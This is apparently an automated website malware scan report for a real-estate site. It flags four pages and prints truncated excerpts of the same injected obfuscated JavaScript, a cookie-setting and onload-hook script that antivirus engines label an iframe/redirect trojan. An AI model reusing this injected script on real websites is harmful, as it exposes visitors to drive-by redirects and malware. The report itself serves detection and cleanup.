New scan:

Malware Scanner report for yalcinemlak.org

Malicious/Suspicious/Total urls checked
4/0/15
4 pages have malicious code. See details below
Blacklists
OK
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/4
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Scanned pages/files

RequestServer responseStatus
http://www.yalcinemlak.org/
200 OK
Content-Length: 161290
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)



function cd9b5331d16(b85b156ba,i4afd804c53b8dac,n95886beb06815)
{
var today = new Date();
var expire = new Date();
if (n95886beb06815==null || n95886beb06815==0)
n95886beb06815=1;
expire.setTime(today.getTime() + 3600000*n95886beb06815);
document.cookie = b85b156ba+"="+escape(i4afd804c53b8dac) + ";expires="+expire.toGMTString();
}

function a0c3e8d8af4(b85b156ba)
{
var mc3f7a7ded7becfe = " "+docum
... 3151 bytes are skipped ...
})
}

if (window.addEventListener)
window.addEventListener('load', b7a1b77422cde8, false);
else if (window.attachEvent)
window.attachEvent('onload', b7a1b77422cde8);
else
{
var cb06e417593250f56 = window.onload ;
window.onload = function()
{
cb06e417593250f56 && cb06e417593250f56();
b7a1b77422cde8();
}
}
}

s96e6b3ac507(m5f15af56);

Antivirus reports:

Kaspersky
HEUR:Trojan.Script.Iframer
Sophos
Troj/JSRedir-JA

http://www.yalcinemlak.org/detay.asp?id=806
200 OK
Content-Length: 50419
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)



function cd9b5331d16(b85b156ba,i4afd804c53b8dac,n95886beb06815)
{
var today = new Date();
var expire = new Date();
if (n95886beb06815==null || n95886beb06815==0)
n95886beb06815=1;
expire.setTime(today.getTime() + 3600000*n95886beb06815);
document.cookie = b85b156ba+"="+escape(i4afd804c53b8dac) + ";expires="+expire.toGMTString();
}

function a0c3e8d8af4(b85b156ba)
{
var mc3f7a7ded7becfe = " "+docum
... 3151 bytes are skipped ...
})
}

if (window.addEventListener)
window.addEventListener('load', b7a1b77422cde8, false);
else if (window.attachEvent)
window.attachEvent('onload', b7a1b77422cde8);
else
{
var cb06e417593250f56 = window.onload ;
window.onload = function()
{
cb06e417593250f56 && cb06e417593250f56();
b7a1b77422cde8();
}
}
}

s96e6b3ac507(m5f15af56);

Antivirus reports:

Kaspersky
HEUR:Trojan.Script.Iframer
Sophos
Troj/JSRedir-JA

http://platform.twitter.com/widgets.js
200 OK
Content-Length: 101649
Content-Type: application/javascript
clean
http://connect.facebook.net/en_US/all.js
200 OK
Content-Length: 163644
Content-Type: application/x-javascript
clean
http://www.yalcinemlak.org/foto/806a.jpg
500 timeout
Content-Length: 30
Content-Type: text/plain
clean
http://www.yalcinemlak.org/test404page.js
404 Not Found
Content-Length: 5197
Content-Type: text/html
clean
http://www.yalcinemlak.org/foto/806b.jpg
404 Not Found
Content-Length: 5195
Content-Type: text/html
clean
http://www.yalcinemlak.org/foto/806c.jpg
404 Not Found
Content-Length: 5195
Content-Type: text/html
clean
http://www.yalcinemlak.org/foto/806d.jpg
404 Not Found
Content-Length: 5195
Content-Type: text/html
clean
http://www.yalcinemlak.org/foto/806e.jpg
404 Not Found
Content-Length: 5195
Content-Type: text/html
clean
http://www.yalcinemlak.org/foto/806f.jpg
500 timeout
Content-Length: 30
Content-Type: text/plain
clean
http://www.yalcinemlak.org/index.asp
200 OK
Content-Length: 161290
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)



function cd9b5331d16(b85b156ba,i4afd804c53b8dac,n95886beb06815)
{
var today = new Date();
var expire = new Date();
if (n95886beb06815==null || n95886beb06815==0)
n95886beb06815=1;
expire.setTime(today.getTime() + 3600000*n95886beb06815);
document.cookie = b85b156ba+"="+escape(i4afd804c53b8dac) + ";expires="+expire.toGMTString();
}

function a0c3e8d8af4(b85b156ba)
{
var mc3f7a7ded7becfe = " "+docum
... 3151 bytes are skipped ...
})
}

if (window.addEventListener)
window.addEventListener('load', b7a1b77422cde8, false);
else if (window.attachEvent)
window.attachEvent('onload', b7a1b77422cde8);
else
{
var cb06e417593250f56 = window.onload ;
window.onload = function()
{
cb06e417593250f56 && cb06e417593250f56();
b7a1b77422cde8();
}
}
}

s96e6b3ac507(m5f15af56);

Antivirus reports:

Kaspersky
HEUR:Trojan.Script.Iframer
Sophos
Troj/JSRedir-JA

http://www.yalcinemlak.org/detay.asp?id=805
200 OK
Content-Length: 50433
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)



function cd9b5331d16(b85b156ba,i4afd804c53b8dac,n95886beb06815)
{
var today = new Date();
var expire = new Date();
if (n95886beb06815==null || n95886beb06815==0)
n95886beb06815=1;
expire.setTime(today.getTime() + 3600000*n95886beb06815);
document.cookie = b85b156ba+"="+escape(i4afd804c53b8dac) + ";expires="+expire.toGMTString();
}

function a0c3e8d8af4(b85b156ba)
{
var mc3f7a7ded7becfe = " "+docum
... 3151 bytes are skipped ...
})
}

if (window.addEventListener)
window.addEventListener('load', b7a1b77422cde8, false);
else if (window.attachEvent)
window.attachEvent('onload', b7a1b77422cde8);
else
{
var cb06e417593250f56 = window.onload ;
window.onload = function()
{
cb06e417593250f56 && cb06e417593250f56();
b7a1b77422cde8();
}
}
}

s96e6b3ac507(m5f15af56);

Antivirus reports:

Kaspersky
HEUR:Trojan.Script.Iframer
Sophos
Troj/JSRedir-JA

http://www.yalcinemlak.org/foto/805a.jpg
200 OK
Content-Length: 300945
Content-Type: image/jpeg
clean
http://www.yalcinemlak.org/foto/805b.jpg
200 OK
Content-Length: 300569
Content-Type: image/jpeg
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: yalcinemlak.org

Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: yalcinemlak.org
Referer: http://www.google.com/search?q=yalcinemlak.org

Result:
The result is similar to the first query. There are no suspicious redirects found.

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=yalcinemlak.org

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://yalcinemlak.org/

Result: yalcinemlak.org is not infected or malware details are not published yet.